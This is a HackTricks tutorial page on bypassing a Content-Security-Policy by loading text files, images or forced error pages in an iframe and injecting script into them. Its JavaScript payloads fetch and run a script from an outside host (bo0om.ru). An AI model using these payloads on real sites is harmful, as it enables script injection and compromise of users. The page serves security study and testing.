100 lines
4.4 KiB
Markdown
100 lines
4.4 KiB
Markdown
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
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Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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A configuration such as:
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```
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Content-Security-Policy: default-src ‘self’ ‘unsafe-inline’;
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```
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Prohibits usage of any functions that execute code transmitted as a string. For example: `eval, setTimeout, setInterval` will all be blocked because of the setting `unsafe-eval`
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Any content from external sources is also blocked, including images, css, websockets, and, especially, JS
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## Via text & images
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Modern browsers transform images and texts o HTML files to visualize them better (set background, center...).
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Therefore, if you **open an image or txt file** such as **favicon.ico** or **robots.txt** with an **`iframe`**, you will open it as HTML.
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**These kind of pages usually doesn't have CSP headers and might not have X-Frame-Options**, so you can execute arbitrary JS from them:
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```javascript
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frame=document.createElement("iframe");
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frame.src="/css/bootstrap.min.css";
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document.body.appendChild(frame);
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script=document.createElement('script');
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script.src='//bo0om.ru/csp.js';
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window.frames[0].document.head.appendChild(script);
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```
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## Via Errors
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Same as text files or images, **error responses usually doesn't have CSP headers and might not have X-Frame-Options**. So, you can force errors and load them inside an iframe:
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```javascript
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// Force nginx error
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frame=document.createElement("iframe");
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frame.src="/%2e%2e%2f";
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document.body.appendChild(frame);
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// Force error via long URL
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frame=document.createElement("iframe");
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frame.src="/"+"A".repeat(20000);
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document.body.appendChild(frame);
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// Force error via long cookies
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for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
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frame=document.createElement("iframe");
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frame.src="/";
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document.body.appendChild(frame);
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// Don't forget to remove them
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for(var i=0;i<5;i++){document.cookie=i+"="}
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```
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```javascript
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// After any of the previous examples, you can execute JS in the iframe wih something like:
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script=document.createElement('script');
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script.src='//bo0om.ru/csp.js';
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window.frames[0].document.head.appendChild(script);
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```
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## References
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* [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/)
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<details>
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<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
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Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||
|
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Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
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|
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Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||
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**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
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</details>
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